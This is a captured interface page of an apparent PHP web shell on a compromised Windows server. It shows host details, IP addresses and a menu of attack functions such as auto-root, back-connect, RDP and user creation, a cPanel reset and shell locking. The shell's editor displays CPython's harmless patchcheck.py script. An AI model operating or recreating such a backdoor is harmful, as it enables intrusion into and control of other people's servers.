Windows NT SRV-DATA 6.3 build 9600 (Windows Server 2012 R2 Standard Edition) AMD64
Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.2.0
: 192.168.213.201 | : 216.73.216.72
Cant Read [ /etc/named.conf ]
8.2.0
ADMINISTRATEUR
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
[ E ]
[ Z ]
C: /
Python27 /
Tools /
Scripts /
[ HOME SHELL ]
Name
Size
Permission
Action
2to3.py
101
B
-rw-rw-rw-
README.txt
3.72
KB
-rw-rw-rw-
analyze_dxp.py
4.23
KB
-rw-rw-rw-
byext.py
3.98
KB
-rw-rw-rw-
byteyears.py
1.66
KB
-rw-rw-rw-
checkappend.py
4.71
KB
-rw-rw-rw-
checkpip.py
789
B
-rw-rw-rw-
checkpyc.py
2.03
KB
-rw-rw-rw-
classfix.py
6
KB
-rw-rw-rw-
cleanfuture.py
8.65
KB
-rw-rw-rw-
combinerefs.py
4.4
KB
-rw-rw-rw-
copytime.py
690
B
-rw-rw-rw-
crlf.py
634
B
-rw-rw-rw-
cvsfiles.py
1.82
KB
-rw-rw-rw-
db2pickle.py
3.62
KB
-rw-rw-rw-
diff.py
2.07
KB
-rw-rw-rw-
dutree.py
1.64
KB
-rw-rw-rw-
eptags.py
1.5
KB
-rw-rw-rw-
find_recursionlimit.py
3.51
KB
-rw-rw-rw-
finddiv.py
2.55
KB
-rw-rw-rw-
findlinksto.py
1.09
KB
-rw-rw-rw-
findnocoding.py
2.85
KB
-rw-rw-rw-
fixcid.py
10.07
KB
-rw-rw-rw-
fixdiv.py
13.89
KB
-rw-rw-rw-
fixheader.py
1.21
KB
-rw-rw-rw-
fixnotice.py
3.09
KB
-rw-rw-rw-
fixps.py
926
B
-rw-rw-rw-
google.py
543
B
-rw-rw-rw-
gprof2html.py
2.19
KB
-rw-rw-rw-
h2py.py
5.99
KB
-rw-rw-rw-
hotshotmain.py
1.5
KB
-rw-rw-rw-
ifdef.py
3.74
KB
-rw-rw-rw-
lfcr.py
643
B
-rw-rw-rw-
linktree.py
2.45
KB
-rw-rw-rw-
lll.py
775
B
-rw-rw-rw-
logmerge.py
5.63
KB
-rw-rw-rw-
mailerdaemon.py
7.99
KB
-rw-rw-rw-
md5sum.py
2.42
KB
-rw-rw-rw-
methfix.py
5.5
KB
-rw-rw-rw-
mkreal.py
1.65
KB
-rw-rw-rw-
ndiff.py
3.85
KB
-rw-rw-rw-
nm2def.py
2.49
KB
-rw-rw-rw-
objgraph.py
6.09
KB
-rw-rw-rw-
parseentities.py
1.74
KB
-rw-rw-rw-
patchcheck.py
7.73
KB
-rw-rw-rw-
pathfix.py
4.37
KB
-rw-rw-rw-
pdeps.py
4.01
KB
-rw-rw-rw-
pickle2db.py
3.99
KB
-rw-rw-rw-
pindent.py
17.26
KB
-rw-rw-rw-
ptags.py
1.25
KB
-rw-rw-rw-
pydocgui.pyw
222
B
-rw-rw-rw-
pysource.py
3.88
KB
-rw-rw-rw-
redemo.py
5.82
KB
-rw-rw-rw-
reindent-rst.py
292
B
-rw-rw-rw-
reindent.py
11.48
KB
-rw-rw-rw-
rgrep.py
1.52
KB
-rw-rw-rw-
serve.py
1.15
KB
-rw-rw-rw-
setup.py
441
B
-rw-rw-rw-
suff.py
652
B
-rw-rw-rw-
svneol.py
2.95
KB
-rw-rw-rw-
texcheck.py
9.27
KB
-rw-rw-rw-
texi2html.py
70.22
KB
-rw-rw-rw-
treesync.py
5.85
KB
-rw-rw-rw-
untabify.py
1.24
KB
-rw-rw-rw-
which.py
1.65
KB
-rw-rw-rw-
win_add2path.py
1.64
KB
-rw-rw-rw-
xxci.py
2.85
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : patchcheck.py
#!/usr/bin/env python import re import sys import shutil import os.path import subprocess import sysconfig import reindent import untabify # Excluded directories which are copies of external libraries: # don't check their coding style EXCLUDE_DIRS = [os.path.join('Modules', '_ctypes', 'libffi'), os.path.join('Modules', '_ctypes', 'libffi_osx'), os.path.join('Modules', '_ctypes', 'libffi_msvc'), os.path.join('Modules', 'expat'), os.path.join('Modules', 'zlib')] SRCDIR = sysconfig.get_config_var('srcdir') def n_files_str(count): """Return 'N file(s)' with the proper plurality on 'file'.""" return "{} file{}".format(count, "s" if count != 1 else "") def status(message, modal=False, info=None): """Decorator to output status info to stdout.""" def decorated_fxn(fxn): def call_fxn(*args, **kwargs): sys.stdout.write(message + ' ... ') sys.stdout.flush() result = fxn(*args, **kwargs) if not modal and not info: print "done" elif info: print info(result) else: print "yes" if result else "NO" return result return call_fxn return decorated_fxn def get_git_branch(): """Get the symbolic name for the current git branch""" cmd = "git rev-parse --abbrev-ref HEAD".split() try: return subprocess.check_output(cmd, stderr=subprocess.PIPE) except subprocess.CalledProcessError: return None def get_git_upstream_remote(): """Get the remote name to use for upstream branches Uses "upstream" if it exists, "origin" otherwise """ cmd = "git remote get-url upstream".split() try: subprocess.check_output(cmd, stderr=subprocess.PIPE) except subprocess.CalledProcessError: return "origin" return "upstream" @status("Getting base branch for PR", info=lambda x: x if x is not None else "not a PR branch") def get_base_branch(): if not os.path.exists(os.path.join(SRCDIR, '.git')): # Not a git checkout, so there's no base branch return None version = sys.version_info if version.releaselevel == 'alpha': base_branch = "master" else: base_branch = "{0.major}.{0.minor}".format(version) this_branch = get_git_branch() if this_branch is None or this_branch == base_branch: # Not on a git PR branch, so there's no base branch return None upstream_remote = get_git_upstream_remote() return upstream_remote + "/" + base_branch @status("Getting the list of files that have been added/changed", info=lambda x: n_files_str(len(x))) def changed_files(base_branch=None): """Get the list of changed or added files from git.""" if os.path.exists(os.path.join(SRCDIR, '.git')): # We just use an existence check here as: # directory = normal git checkout/clone # file = git worktree directory if base_branch: cmd = 'git diff --name-status ' + base_branch else: cmd = 'git status --porcelain' filenames = [] st = subprocess.Popen(cmd.split(), stdout=subprocess.PIPE) try: for line in st.stdout: line = line.decode().rstrip() status_text, filename = line.split(None, 1) status = set(status_text) # modified, added or unmerged files if not status.intersection('MAU'): continue if ' -> ' in filename: # file is renamed filename = filename.split(' -> ', 2)[1].strip() filenames.append(filename) finally: st.stdout.close() else: sys.exit('need a git checkout to get modified files') filenames2 = [] for filename in filenames: # Normalize the path to be able to match using .startswith() filename = os.path.normpath(filename) if any(filename.startswith(path) for path in EXCLUDE_DIRS): # Exclude the file continue filenames2.append(filename) return filenames2 def report_modified_files(file_paths): count = len(file_paths) if count == 0: return n_files_str(count) else: lines = ["{}:".format(n_files_str(count))] for path in file_paths: lines.append(" {}".format(path)) return "\n".join(lines) @status("Fixing whitespace", info=report_modified_files) def normalize_whitespace(file_paths): """Make sure that the whitespace for .py files have been normalized.""" reindent.makebackup = False # No need to create backups. fixed = [] for path in (x for x in file_paths if x.endswith('.py')): if reindent.check(os.path.join(SRCDIR, path)): fixed.append(path) return fixed @status("Fixing C file whitespace", info=report_modified_files) def normalize_c_whitespace(file_paths): """Report if any C files """ fixed = [] for path in file_paths: abspath = os.path.join(SRCDIR, path) with open(abspath, 'r') as f: if '\t' not in f.read(): continue untabify.process(abspath, 8, verbose=False) fixed.append(path) return fixed ws_re = re.compile(br'\s+(\r?\n)$') @status("Fixing docs whitespace", info=report_modified_files) def normalize_docs_whitespace(file_paths): fixed = [] for path in file_paths: abspath = os.path.join(SRCDIR, path) try: with open(abspath, 'rb') as f: lines = f.readlines() new_lines = [ws_re.sub(br'\1', line) for line in lines] if new_lines != lines: shutil.copyfile(abspath, abspath + '.bak') with open(abspath, 'wb') as f: f.writelines(new_lines) fixed.append(path) except Exception as err: print 'Cannot fix %s: %s' % (path, err) return fixed @status("Docs modified", modal=True) def docs_modified(file_paths): """Report if any file in the Doc directory has been changed.""" return bool(file_paths) @status("Misc/ACKS updated", modal=True) def credit_given(file_paths): """Check if Misc/ACKS has been changed.""" return os.path.join('Misc', 'ACKS') in file_paths @status("Misc/NEWS.d updated with `blurb`", modal=True) def reported_news(file_paths): """Check if Misc/NEWS.d has been changed.""" return any(p.startswith(os.path.join('Misc', 'NEWS.d', 'next')) for p in file_paths) def main(): base_branch = get_base_branch() file_paths = changed_files(base_branch) python_files = [fn for fn in file_paths if fn.endswith('.py')] c_files = [fn for fn in file_paths if fn.endswith(('.c', '.h'))] doc_files = [fn for fn in file_paths if fn.startswith('Doc') and fn.endswith(('.rst', '.inc'))] misc_files = {p for p in file_paths if p.startswith('Misc')} # PEP 8 whitespace rules enforcement. normalize_whitespace(python_files) # C rules enforcement. normalize_c_whitespace(c_files) # Doc whitespace enforcement. normalize_docs_whitespace(doc_files) # Docs updated. docs_modified(doc_files) # Misc/ACKS changed. credit_given(misc_files) # Misc/NEWS changed. reported_news(misc_files) # Test suite run and passed. if python_files or c_files: end = " and check for refleaks?" if c_files else "?" print print "Did you run the test suite" + end if __name__ == '__main__': main()
Close